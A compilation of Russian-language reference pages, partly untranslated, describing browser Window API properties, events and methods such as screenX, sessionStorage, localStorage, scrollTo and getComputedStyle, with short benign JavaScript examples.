Window.screenX - Интерфейсы веб API

Window.screenX
==============

Свойство **`Window.screenX`** только для чтения возвращает горизонтальное расстояние в пикселях CSS левой границы окна просмотра браузера пользователя до левой части экрана.

**Примечание:** Псевдоним `screenX` был реализован во всех современных браузерах - `Window.screenLeft` (en-US). Первоначально это поддерживалось только в IE, но было введено повсеместно из-за популярности.

Синтаксис
---------
```

leftWindowPos = window.screenX
```

### Возвращает

Число, равное количеству пикселей CSS от левого края окна просмотра браузера до левого края экрана.

Пример
------

В нашем примере screenleft-screentop вы увидите холст, на котором нарисован круг. В этом примере мы используем `Window.screenLeft` (en-US)/`Window.screenTop` (en-US) плюс `Window.requestAnimationFrame ()`, чтобы постоянно перерисовывать круг в том же физическом положении на экране, даже если позиция окна перемещается.

```js
initialLeft = window.screenLeft + canvasElem.offsetLeft;
initialTop = window.screenTop + canvasElem.offsetTop;

function positionElem() {
  let newLeft = window.screenLeft + canvasElem.offsetLeft;
  let newTop = window.screenTop + canvasElem.offsetTop;

  let leftUpdate = initialLeft - newLeft;
  let topUpdate = initialTop - newTop;

  ctx.fillStyle = "rgb(0, 0, 0)";
  ctx.fillRect(0, 0, width, height);
  ctx.fillStyle = "rgb(0, 0, 255)";
  ctx.beginPath();
  ctx.arc(
    leftUpdate + width / 2,
    topUpdate + height / 2 + 35,
    50,
    degToRad(0),
    degToRad(360),
    false,
  );
  ctx.fill();

  pElem.textContent =
    "Window.screenLeft: " +
    window.screenLeft +
    ", Window.screenTop: " +
    window.screenTop;

  window.requestAnimationFrame(positionElem);
}

window.requestAnimationFrame(positionElem);
```

Они работают точно так же, как `screenX` / `screenY`.

Также в код мы включили фрагмент, который определяет, поддерживается ли `screenLeft`, и, если нет, заполняет поли в `screenLeft` / `screenTop`, используя `screenX` / `screenY`.

```js
if (!window.screenLeft) {
  window.screenLeft = window.screenX;
  window.screenTop = window.screenY;
}
```

Спецификация
------------

| Specification |
| --- |
| CSSOM View Module # dom-window-screenx |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `window.screenLeft` (en-US)
* `Window.screenY` (en-US)


WindowEventHandlers.onunload - Интерфейсы веб API

WindowEventHandlers.onunload
============================

Описание
--------

Событие `unload` возникает когда window выгружает своё содержимое и ресурсы. Удаление ресурсов происходит *после* возникновения события `unload`.

Синтаксис
---------
```

window.onunload = funcRef;
```

* `funcRef` ссылка на функцию.
Примечание
----------

Using this event handler in your page prevents Firefox 1.5 from caching the page in the in-memory bfcache. Смотрите Использование кеширования в Firefox 1.5 для получения более детальной информации.

Браузеры, оснащённые блокировщиками всплывающих окон будут игнорировать все вызовы метода `window.open()` внутри функции обработчика события `onunload`.

You *can* and *should* handle this event through `window.addEventListener()` and the `unload (en-US)` event. More documentation is available there.

Спецификации
------------

| Specification |
| --- |
| HTML Standard # event-unload |
| HTML Standard # handler-window-onunload |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Window.clearImmediate() - Интерфейсы веб API

Window.clearImmediate()
=======================

Данный метод очищает действие, определённое `window.setImmediate` (en-US).

**Примечание:** На текущий момент данный метод находится на стадии предложения на внедрение, не является стандартом и имплементирован только в последних сборках Internet Explorer.

Синтаксис
---------
```

window.clearImmediate(immediateID)
```

где immediateID это идентификатор, возвращаемый из `window.setImmediate` (en-US).

Примеры
-------
```

var immediateID = setImmediate(function () {
  // Выполнение некоего кода
}

document.getElementById("button").addEventListener(function () {
  clearImmediate(immediateID);
}, false);
```

Спецификации
------------

#### No specification found

No specification data found for `api.Window.clearImmediate`.
Check for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

`window.setImmediate` (en-US)


Window.scrollTo() - Интерфейсы веб API

Window.scrollTo()
=================

Описание
--------

Прокрутка документа до указанных координат.

Синтаксис
---------
```

window.scrollTo(x-coord, y-coord)
window.scrollTo(options)
```

### Параметры

* `x-coord` пиксель по горизонтальной оси документа, будет отображён вверху слева.
* `y-coord` пиксель по вертикальной оси документа, будет отображён вверху слева.
* `options` объект с тремя возможными параметрами:
    + `top`, то же, что и `y-coord`
    + `left`, то же, что и `x-coord`
    + `behavior`, строка, содержащая либо `smooth`, `instant`, либо `auto`; по умолчанию `auto`
Пример
------

```js
window.scrollTo(0, 1000);

// этот код меняет поведение прокрутки на "smooth"
window.scrollTo({
  top: 1000,
  behavior: "smooth",
});
```

Примечания
----------

Эта функция выполняет то же, что и window.scroll (en-US). Остальные функции, связанные с прокруткой window.scrollBy (en-US), window.scrollByLines (en-US), и window.scrollByPages (en-US).

Спецификация
------------

| Specification |
| --- |
| CSSOM View Module # dom-window-scrollto |


Window: свойство navigator - Интерфейсы веб API

Window: свойство navigator
==========================

Доступное только для чтения свойство `Window.navigator` возвращает ссылку на объект `Navigator`, у которого есть методы и свойства приложения, запустившего скрипт.

Значение
--------

Объект `navigator`.

Примеры
-------

### Пример 1: определение браузера

```js
function getBrowserName(userAgent) {
  // Порядок важен, также возможно ложное срабатывание для браузеров не включённых в список

  if (userAgent.includes("Firefox")) {
    // "Mozilla/5.0 (X11; Linux i686; rv:104.0) Gecko/20100101 Firefox/104.0"
    return "Mozilla Firefox";
  } else if (userAgent.includes("SamsungBrowser")) {
    // "Mozilla/5.0 (Linux; Android 9; SAMSUNG SM-G955F Build/PPR1.180610.011) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.4 Chrome/67.0.3396.87 Mobile Safari/537.36"
    return "Samsung Internet";
  } else if (userAgent.includes("Opera") || userAgent.includes("OPR")) {
    // "Mozilla/5.0 (Macintosh; Intel Mac OS X 12\_5\_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 OPR/90.0.4480.54"
    return "Opera";
  } else if (userAgent.includes("Edge")) {
    // "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299"
    return "Microsoft Edge (Legacy)";
  } else if (userAgent.includes("Edg")) {
    // "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Edg/104.0.1293.70"
    return "Microsoft Edge (Chromium)";
  } else if (userAgent.includes("Chrome")) {
    // "Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
    return "Google Chrome or Chromium";
  } else if (userAgent.includes("Safari")) {
    // "Mozilla/5.0 (iPhone; CPU iPhone OS 15\_6\_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Mobile/15E148 Safari/604.1"
    return "Apple Safari";
  } else {
    return "unknown";
  }
}

const browserName = getBrowserName(navigator.userAgent);
console.log(`Вы используете: ${browserName}`);
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-navigator |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Window.sessionStorage - Интерфейсы веб API

Window.sessionStorage
=====================

`Свойство sessionStorage` позволяет получить доступ к объекту `Storage` текущей сессии. Свойство sessionStorage очень похоже на свойство `Window.localStorage`, единственное различие заключается в том, что все данные, сохранённые в localStorage не имеют определённого времени жизни, а данные в sessionStorage очищаются в момент окончания сессии текущий страницы. Сессия страницы остаётся активной все время пока окно браузера открыто и сохраняется между перезагрузками страниц. **Открытие той же страницы в новом окне браузера или новой вкладке приводит к созданию новой сессии страницы,** что отличается от поведения session cookies\*\*.\*\*

Синтаксис
---------

```js
// Сохранение данных в sessionStorage
sessionStorage.setItem("key", "value");

// Получение данных из sessionStorage
var data = sessionStorage.getItem("key");
```

### Значение

Объект типа `Storage`.

Пример
------

Следующий код получает доступ к объекту `Storage` текущей сессии домена и добавляет данные в него используя `Storage.setItem()`.

```js
sessionStorage.setItem("myCat", "Tom");
```

Следующий пример автоматически сохраняет содержимое текстового поля. Если страница случайно будет обновлена значение текстового поля будет восстановлено. Таким образом ничего из введённого пользователем не потеряется даже в этом случае.

```js
// Получаем ссылку на текстовое поле,
// изменение которого будем отслеживать.
var field = document.getElementById("field");

// Проверяем наличие значения 'autosave'
// (это может произойти только если страница будет случайно обновлена)
if (sessionStorage.getItem("autosave")) {
  // Восстанавливаем содержимое текстового поля
  field.value = sessionStorage.getItem("autosave");
}

// Отслеживаем все изменения в текстовом поле
field.addEventListener("change", function () {
  // И сохраняем их в объект session storage
  sessionStorage.setItem("autosave", field.value);
});
```

**Примечание:** Обратитесь к статье Using the Web Storage API, чтобы изучить полный пример.

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-sessionstorage-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* Using the Web Storage API
* `Window.localStorage`


popstate - Интерфейсы веб API

popstate
========

Событие `popstate` вызывается, когда изменяется активная запись истории. Если изменение записи истории было вызвано методом `history.pushState()` или `history.replaceState()`, то состояние события `popstate` будет содержать `state` копии входящего в историю объекта

Обратите внимание, `history.pushState()` или `history.replaceState()` не вызывают событие `popstate`. Событие `popstate` будет вызвано при совершении действий в браузере, таких как нажатие кнопок "Вперёд" или "Назад" (или при вызове `history.back()` или `history.forward()` из JavaScript).

Браузеры работают с событием `popstate` по разному. Chrome (prior to v34) и Safari всегда вызывают `popstate` по окончании загрузки страницы, а Firefox не делает этого.

General info
------------

Specification

HTML5

Interface

PopStateEvent

Bubbles

Yes

Cancelable

No

Target

defaultView

Default Action

None

Properties
----------

| Property | Type | Description |
| --- | --- | --- |
| `target` Только для чтения  | `EventTarget` | The browsing context (`window`). |
| `type` Только для чтения  | `DOMString` | The type of event. |
| `bubbles` Только для чтения  | `Boolean` | Whether the event normally bubbles or not. |
| `cancelable` Только для чтения  | `Boolean` | Whether the event is cancellable or not. |
| `state` Только для чтения  | *any* | The current history entry's state object (if any). |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Example
-------

A page at `http://example.com/example.html` running the following code will generate logs as indicated:

```js
window.onpopstate = function (event) {
  console.log(
    "location: " +
      document.location +
      ", state: " +
      JSON.stringify(event.state),
  );
};
history.pushState({ page: 1 }, "title 1", "?page=1");
history.pushState({ page: 2 }, "title 2", "?page=2");
history.replaceState({ page: 3 }, "title 3", "?page=3");
history.back(); // Logs "location: http://example.com/example.html?page=1, state: {"page":1}"
history.back(); // Logs "location: http://example.com/example.html, state: null
history.go(2); // Logs "location: http://example.com/example.html?page=3, state: {"page":3}
```

Note that even though the original history entry (for `http://example.com/example.html`) has no state object associated with it, a `popstate` event is still fired when we activate that entry after the second call to `history.back()`.

Related Events
--------------

* `hashchange` (en-US)
See Also
--------

* Manipulating the browser history (the History API)


Window.frames - Интерфейсы веб API

Window.frames
=============

Возвращает само окно, являющееся объектом в виде массива, распечатывая элементы текущего окна.

Syntax
------
```

frameList = window.frames;
```

* `frameList` is a list of frame objects. It is similar to an array in that it has a `length` property and its items can be accessed using the `[i]` notation.
* `frameList === window` evaluates to true.
* Each item in the window.frames pseudo-array represents the window object corresponding to the given <frame>'s or <iframe>'s content, not the (i)frame DOM element (i.e., `window.frames[0]` is the same thing as `document.getElementsByTagName("iframe")[0].contentWindow`).
* For more details about the returned value, refer to this thread on mozilla.dev.platform [dead link].
Example
-------

```js
var frames = window.frames; // or // var frames = window.parent.frames;
for (var i = 0; i < frames.length; i++) {
  // do something with each subframe as frames[i]
  frames[i].document.body.style.background = "red";
}
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-frames-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Window.print() - Интерфейсы веб API

Window.print()
==============

Описание
--------

Открывает диалоговое окно для печати текущего документа.

Синтаксис
---------
```

window.print()
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # printing |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* Printing
* `window.onbeforeprint` (en-US)
* `window.onafterprint` (en-US)


Window.localStorage - Интерфейсы веб API

Window.localStorage
===================

Свойство **`localStorage`** позволяет получить доступ к `Storage` объекту. `localStorage` аналогично свойству `sessionStorage` (en-US). Разница только в том, что свойство `sessionStorage` хранит данные в течение сеанса (до закрытия браузера), в отличие от данных, находящихся в свойстве `localStorage`, которые не имеют ограничений по времени хранения и могут быть удалены только с помощью JavaScript.

Следует отметить, что данные, сохранённые как в `localStorage`, так и в `sessionStorage`, являться специфичными для протокола страницы.

Ключи и значения **всегда строки** (так же, как и объекты, целочисленные ключи автоматически будут преобразованы в строки).

Синтаксис
---------

```js
myStorage = window.localStorage;
```

### Значение

Объект `Storage`, который используется для доступа к текущему локальному хранилищу.

### Исключения

`SecurityError`

Запрос к хранилищу нарушает разрешение политик, либо источник для хранения не является корректной комбинацией схема/хост/порт (такое может произойти, если источником для хранения является `file:` или `data:` схемы, например). Как ещё один пример появления ошибки, пользователь через конфигурацию браузера запретил хранение данных для некоторых источников.

Пример
------

Следующий код показывает пример доступа к локальному объекту `Storage` для текущего домена и добавляет данные в него с помощью `Storage.setItem()`.

```js
localStorage.setItem("myCat", "Tom");
```

Считывать данные из localStorage для определённого ключа, можно следующим образом:

```js
let cat = localStorage.getItem("myCat");
```

Удалять данные можно так:

```js
localStorage.removeItem("myCat"); // вернёт undefined
```

Для удаления всех записей, то есть полной очистки `localStorage`, используйте:

```js
localStorage.clear();
```

**Примечание:** Пожалуйста, обратитесь к статье Using the Web Storage API для более подробных примеров.

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-localstorage-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Все браузеры имеют различный уровень объёма для `localStorage` и `sessionStorage`. Здесь подробное описание объёма хранилищ для разных браузеров.

Смотрите также
--------------

* Использование Web Storage API
* Локальное хранилище с Window.localStorage (en-US)
* `Window.sessionStorage`


Window.innerHeight - Интерфейсы веб API

Window.innerHeight
==================

Высота (в пикселях) области просмотра окна браузера, включая, если отображается, горизонтальную полосу прокрутки.

Синтаксис
---------
```

var intViewportHeight = window.innerHeight;
```

### Значение

По возвращению, `intViewportHeight` это высота области просмотра окна браузера.

Свойство `window.innerHeight` доступно только для чтения; у него нет значения по умолчанию.

Примечания
----------

Свойство innerHeight поддерживается в любом объекте окна, например `window`, фрейме, наборе фреймов или вторичном окне.

Существует алгоритм для получения высоты области просмотра, включая, если отображается, горизонтальную полосу прокрутки.

Пример
------

### Assuming a frameset

```js
var intFrameHeight = window.innerHeight; // or

var intFrameHeight = self.innerHeight;
// вернёт высоту окна просмотра кадра в наборе кадров

var intFramesetHeight = parent.innerHeight;
// will return the height of the viewport of the closest frameset

var intOuterFramesetHeight = top.innerHeight;
// will return the height of the viewport of the outermost frameset
```

{{todo("link to an interactive demo here")}}
To change the size of a window, see `window.resizeBy()` (en-US) and `window.resizeTo()` (en-US).

To get the outer height of a window, i.e. the height of the whole browser window, see `window.outerHeight` (en-US).

### Графический пример

На следующем рисунке показана разница между externalHeight и innerHeight.

![Иллюстрация работы innerHeight и outerHeight](/ru/docs/Web/API/Window/innerHeight/firefoxinnervsouterheight2.png)

Спецификации
------------

| Specification |
| --- |
| CSSOM View Module # dom-window-innerheight |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `window.innerWidth` (en-US)
* `window.outerHeight` (en-US)
* `window.outerWidth` (en-US)


Window.scrollMaxX - Интерфейсы веб API

Window.scrollMaxX
=================

**Не стандартно:** Эта возможность не является стандартной и стандартизировать её пока никто не собирается. Не используйте её на сайтах, смотрящих во внешний мир: она будет работать не у всех пользователей. Также могут присутствовать большие несовместимости между реализациями и её поведение может в будущем измениться.

Свойство **`Window.scrollMaxX`** (только для чтения) возвращает максимальное количество пикселей в документе, которые могут быть прокручены по горизонтали.

Синтаксис
---------
```

xMax = window.scrollMaxX
```

* `xMax` количество пикселей.
Пример
------

```js
// Прокрутка к правому краю страницы
let maxX = window.scrollMaxX;

window.scrollTo(maxX, 0);
```

Примечания
----------

Не используйте это свойство для получения ширины документа с помощью window.innerWidth (en-US) + window.scrollMaxX. Это не равнозначно всей ширине документа, потому что `window.innerWidth` (en-US) включает в себя ширину полосы прокрутки, таким образом результат будет включать себя ширину документа с шириной полосы прокрутки. Вместо этого используйте `document.body.scrollWidth` (en-US). Смотрите также `window.scrollMaxY`.

Спецификации
------------

Не является частью спецификации.

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Window: событие pagehide - Интерфейсы веб API

Window: событие pagehide
========================

Событие **`pagehide`** отправляется объекту `Window`, когда браузер скрывает текущую страницу в процессе отображения других страниц из истории сессии.

Например, когда пользователь нажимает на кнопку "Назад" в браузере, перед тем, как отобразиться предыдущая страница, текущая страница сгенерирует событие `pagehide`.

|  |  |
| --- | --- |
| Всплывает | Нет |
| Отменяемое | Нет |
| Интерфейс | `PageTransitionEvent` (en-US) |
| Свойство обработчика событий | `onpagehide` |

Примечания по использованию
---------------------------

По аналогии с событиями `unload` и `beforeunload`, это событие не всегда срабатывает в браузерах, особенно на мобильных. Например, событие `pagehide` может вовсе не сработать в следующем сценарии:

1. Пользователь открывает страницу с мобильного браузера.
2. Некоторое время спустя он переключается на другое приложение.
3. А затем он закрывает браузер при помощи менеджера приложений.

Тем не менее, в отличие от событий `unload` и `beforeunload`, это событие совместимо кешом для перехода вперёд и назад (bfcache), поэтому обработчик этого события не помещает странице быть закешированной в bfcache.

Поэтому, чтобы определить завершение пользовательской сессии предпочтительнее всего использовать событие `visibilitychange` (en-US). Если в браузерах не поддерживается `visibilitychange`, вместо него следует использовать событие `pagehide` как наиболее подходящую альтернативу.

В случае, если нужно определить именно наступление событий `unload`, то событие `pagehide` как нельзя лучше подойдёт для этого.

Дополнительные сведения о том, как данное событие связано с другими событиями жизненного цикла страницы, смотрите на странице Page Lifecycle API.

Примеры
-------

В следующем примере добавлен обработчик для отслеживания событий `pagehide`, чтобы что-то сделать на случай, если страница была сохранена в кеше для возможного повторного использования.

```js
window.addEventListener(
  "pagehide",
  (event) => {
    if (event.persisted) {
      /\* Страница была сохранена в кеше, её можно повторно использовать \*/
    }
  },
  false,
);
```

Этот обработчик также можно написать с помощью свойства обработчика события `onpagehide` в объекте `Window`:

```js
window.onpagehide = (event) => {
  if (event.persisted) {
    /\* Страница была сохранена в кеше, её можно повторно использовать \*/
  }
};
```

Спецификации
------------

| Specification |
| --- |
| HTML Standard # event-pagehide |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* Событие `pageshow`.
* Page Lifecycle API содержит рекомендуемые практики по обработке поведения жизненного цикла страницы в веб-приложениях.
* PageLifecycle.js: JavaScript-библиотека, которая решает несоответствия в работе жизненного цикла страница в разных браузерах.
* Кэш для перехода назад и вперед объясняет, что такое кеш "назад/вперед", и его последствия для различных событий жизненного цикла страницы.


Window.devicePixelRatio - Интерфейсы веб API

Window.devicePixelRatio
=======================

Сводка
------

**devicePixelRatio** - свойство глобального объекта window (en-US) (доступно только для чтения). Оно содержит отношение разрешения дисплея текущего устройства *в физических пикселях* к *разрешению* в *логических (CSS) пикселях*. Также это значение можно интерпретировать как отношение размера одного *физического пикселя* к размеру одного *логического* (*CSS) пикселя*.

Не существует событий или поддержки колбэков при изменении этого свойства (например, когда пользователь перетащил окно с одного дисплея на другой, имеющих различную плотность пикселей).

Синтаксис
---------
```

value = window.devicePixelRatio;
```

Полифил
-------

Свойство не поддерживается в IE ниже 11, однако в IE10 можно получить значение в виде отношения:
```

window.screen.deviceXDPI / window.screen.logicalXDPI
```

Спецификация
------------

| Specification |
| --- |
| CSSOM View Module # dom-window-devicepixelratio |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Window.name - Интерфейсы веб API

Window.name
===========

Описание
--------

Свойство `name` может использоваться для установки и получения имени текущего окна. Оно становится доступным после его создания.

Синтаксис
---------

```js
// получение значения
string = window.name;
// установка значения
window.name = string;
```

Пример
------

```js
window.name = "lab\_view";
```

Замечания
---------

Имя окна используется, в основном, для задания свойства `target` гиперссылок и форм.

Также оно может использоваться в фреймворках для предоставления кросс-доменного обмена сообщениями (например, SessionVars и dojox.io.windowName из Dojo) как более безопасная альтернатива JSONP.


Window.parent - Интерфейсы веб API

Window.parent
=============

Ссылка на родительский объект window или родительский iframe.

Если у объекта window нет родителя, то свойство parent данного объекта будет ссылаться на сам объект.

Если window загружен внутри `<iframe>` (en-US), `<object>` (en-US), или `<frame>` (en-US), то его parent - это объект window с элементом содержащим данный window.

Синтаксис
---------
```

parentWindow = window.parent;
```

Пример
------

```js
if (window.parent != window.top) {
  // мы находимся глубже чем один уровень
}
```

Спецификация
------------

* HTML5
Смотрите также
--------------

* `window.frameElement` возвращает элемент (например `<iframe>`), который содержит объект window.
* `window.top` возвращает ссылку на объект window самого верхнего уровня.


Window.matchMedia() - Интерфейсы веб API

Window.matchMedia()
===================

Сводка
------

Возвращает новый объект `MediaQueryList` (en-US), использующийся для определения соответствия документа переданной строке медиавыражения (en-US).

Синтаксис
---------
```

mql = window.matchMedia(mediaQueryString)
```

где `mediaQueryString` является строкой медиавыражения, для которой будет возвращён новый объект `MediaQueryList` (en-US).

Пример
------

```js
if (window.matchMedia("(min-width: 400px)").matches) {
  /\* the viewport is at least 400 pixels wide \*/
} else {
  /\* the viewport is less than 400 pixels wide \*/
}
```

Данный код позволяет обрабатывать поведение по другому, когда размер окна очень узкий.

Смотрите Использование медиавыражений из кода (en-US) для дополнительных примеров.

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Спецификация
------------

* The CSSOM View Module: The MediaQueryList Interface
Смотрите также
--------------

* Media queries (en-US)
* Using media queries from code (en-US)
* `MediaQueryList` (en-US)
* `MediaQueryListListener` (en-US)


Window.confirm() - Интерфейсы веб API

Window.confirm()
================

Метод **`Window.confirm()`** отображает диалоговое окно, которое содержит две кнопки (OK и Cancel), а так же опциональное (необязательное) текстовое сообщение.

Синтаксис
---------
```

result = window.confirm(message);
```

* `message` опциональная (необязательная) строка, которая будет отображена в диалоговом окне.
* `result` булево значение, указывающее на нажатую кнопку OK или Cancel (`true` означает OK).
Пример
------
```

if (window.confirm("Do you really want to leave?")) {
  window.open("exit.html", "Thanks for Visiting!");
}
```

Результат:

![firefox confirm](/ru/docs/Web/API/Window/confirm/firefox_confirm_dialog.png)

Примечания
----------

Окна сообщений - модальные, они препятствуют получению пользователем доступа к другим частям страницы до тех пор, пока окно не будет закрыто. По этой причине, вам не следует злоупотреблять этой функцией. Более того, существуют более веские причины избегать использования диалоговых окон для подтверждения действий пользователя.

Пользователям Mozilla Chrome (например, расширений Firefox) следует использовать методы `nsIPromptService` как альтернативу.

Начиная с Chrome 46.0 этот метод заблокирован в `<iframe>` (en-US) до тех пор, пока атрибут sandbox не установлен в значение `allow-modal`.

Аргумент является опциональным и необязательным согласно спецификации.

Спецификации
------------

| Specification |
| --- |
| HTML Standard # dom-confirm-dev |

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотрите также
--------------

* `alert`
* `prompt`


window.getComputedStyle() - Интерфейсы веб API

window.getComputedStyle()
=========================

Метод **`Window.getComputedStyle()`** возвращает объект, содержащий значения всех CSS-свойств элемента, полученных после применения всех активных таблиц стилей, и завершения базовых вычислений значений, которые они могут содержать. Некоторые CSS-свойства доступны через API, предоставляемые объектом, или индексацию по именам CSS-свойств.

Синтаксис
---------
```

var style = window.getComputedStyle(element [, pseudoElt]);
```

`element`

`Element`, свойства которого необходимо получить.

`pseudoElt` Необязательный

Строка указывающая на найденный псевдо-элемент. Опускается (или `null`) для не псевдо-элементов.

Возвращённый `style` живой `CSSStyleDeclaration` объект, который обновляется автоматически когда элемент стилей изменяется.

Выводы
------

Метод `Window.getComputedStyle()` предоставляет все значения CSS-свойств элементов после применения текущей таблицы стилей или базового расчёта каких-либо значений, которые могут быть.

Пример
------

```js
var elem1 = document.getElementById("elemId");
var style = window.getComputedStyle(elem1, null);

// this is equivalent:
// var style = document.defaultView.getComputedStyle(elem1, null);
```

```js
<style>
 #elem-container{
   position: absolute;
   left:     100px;
   top:      200px;
   height:   100px;
 }
</style>

<div id="elem-container">dummy</div>
<div id="output"></div>

<script>
  function getTheStyle(){
    var elem = document.getElementById("elem-container");
    var theCSSprop = window.getComputedStyle(elem,null).getPropertyValue("height");
    document.getElementById("output").innerHTML = theCSSprop;
   }
  getTheStyle();
</script>
```

```js
function dumpComputedStyles(elem, prop) {
  var cs = window.getComputedStyle(elem, null);
  if (prop) {
    console.log(prop + " : " + cs.getPropertyValue(prop));
    return;
  }
  var len = cs.length;
  for (var i = 0; i < len; i++) {
    var style = cs[i];
    console.log(style + " : " + cs.getPropertyValue(style));
  }
}
```

Описание
--------

Возвращённый объект - это такой же объект, который возвращается из свойства элемента `style` (en-US); Так или иначе, эти два объекта имеют разные назначения. Объект который возвращается из `getComputedStyle` только для чтения и может быть использован для инспектирования стиля элемента (включая описание из `<style>` элемента или внешней таблицы стилей). Объект `element.style` следует использовать для установки стилей на специфических элементах.

Первый аргумент должен быть элементом (вставка узлов которые не являются элементами, например `#text` выдаст ошибку).

`defaultView`
-------------

Во многих примерах кода, `getComputedStyle` используется из объекта `document.defaultView`. Почти во всех случаях это не нужно, поскольку `getComputedStyle` существует в объекте `window`. Это что-то на подобии шаблона defaultView который был некой прослойкой. Люди не хотели писать спецификацию для `window` и создавали `API` которое также могло использоваться для Java. Так или иначе есть только один случай когда метод `defaultView` должен использоваться: когда вы используете Firefox 3.6 чтобы получить доступ к вычисленным стилям.

Использования с псевдо-элементами
---------------------------------

`getComputedStyle` может получить информацию о стилях из псевдо-элемента (например - `::after`, `::before`, `::marker`, `::line-marker` - спецификация).

```html
<style>
 h3::after {
 content: "rocks!";
 }
</style>

<h3>generated content</h3>

<script>
 var h3 = document.querySelector("h3");
 var result = getComputedStyle(h3, ":after").content;

 console.log("the generated content is: ", result); // возвратит 'rocks!'
</script>
```

Notes
-----

The values returned by `getComputedStyle` are known as `resolved values`. These are usually the same as the CSS 2.1 `computed values`, but for some older properties like `width`, `height` or `padding`, they are instead the `used values`. Originally, CSS 2.0 defined the computed values to be the "ready to be used" final values of properties after cascading and inheritance, but CSS 2.1 redefined computed values as pre-layout, and used values as post-layout. For CSS 2.0 properties, the `getComputedStyle` function returns the old meaning of computed values, now called **used values**. An example of difference between pre- and post-layout values includes the resolution of percentages that represent the width or the height of an element (also known as its layout), as those will be replaced by their pixel equivalent only in the used value case.

The returned value is, in certain known cases, expressly inaccurate by deliberate intent. In particular, to avoid the so called CSS History Leak security issue, browsers may expressly "lie" about the used value for a link and always return values as if a user has never visited the linked site. See http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/ and http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/ for details of the examples of how this is implemented. Most other modern browsers have applied similar changes to the application of pseudo-selector styles and the values returned by `getComputedStyle`.

During a CSS transition, `getComputedStyle` returns the original property value in Firefox, but the final property value in WebKit.

In Firefox, properties with the value `auto` return the used value, not the value `auto`. So if you apply `top:auto;` and `bottom:0`; on an element with `height:30px` and its containing block is `height:100px;`, upon requesting the computed style for `top`, Firefox will return `top:70px`, as `100px-30px=70px`.

Спецификации
------------

* DOM Level 2 Style: getComputedStyle
* CSS Object Model specification
Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Смотреть также
--------------

* `window.getDefaultComputedStyle` (en-US)
* `Resolved Value`


Window.scrollMaxY - Интерфейсы веб API

Window.scrollMaxY
=================

**Не стандартно:** Эта возможность не является стандартной и стандартизировать её пока никто не собирается. Не используйте её на сайтах, смотрящих во внешний мир: она будет работать не у всех пользователей. Также могут присутствовать большие несовместимости между реализациями и её поведение может в будущем измениться.

Свойство **`Window.scrollMaxY`** возвращает максимальное число пикселей по вертикали, доступных для прокрутки в документе. Только для чтения.

Синтаксис
---------
```

yMax = window.scrollMaxY
```

* `yMax` - число пикселей.
Пример
------

```js
// Пролистать в самый низ
var maxY = window.scrollMaxY;

window.scrollTo(0, maxY);
```

Примечания
----------

Не используйте это свойство для получения общей высоты документа, так как оно не равнозначно `window.innerHeight` + window.scrollMaxY, потому что `window.innerHeight` включает ещё ширину любой видимой горизонтальной полосы прокрутке. Вместо этого применяйте `document.body.scrollHeight`. Смотрите также `window.scrollMaxX` и `window.scrollTo`.

Спецификация
------------

Не является частью какой-либо спецификации.

Совместимость с браузерами
--------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Window.length - Интерфейсы веб API

Window.length
=============

Сводка
------

Возвращает кол-во фреймов (например `<frame>` (en-US) или `<iframe>` (en-US)) в текущем окне.

Синтаксис
---------
```

framesCount = window.length;
```

* `framesCount` - кол-во фреймов на странице.
Пример
------

```js
if (window.length) {
  // Этот документ содержит фреймы
}
```

Спецификация
------------

| Specification |
| --- |
| HTML Standard # dom-length-dev |


Window.history - Интерфейсы веб API

Window.history
==============

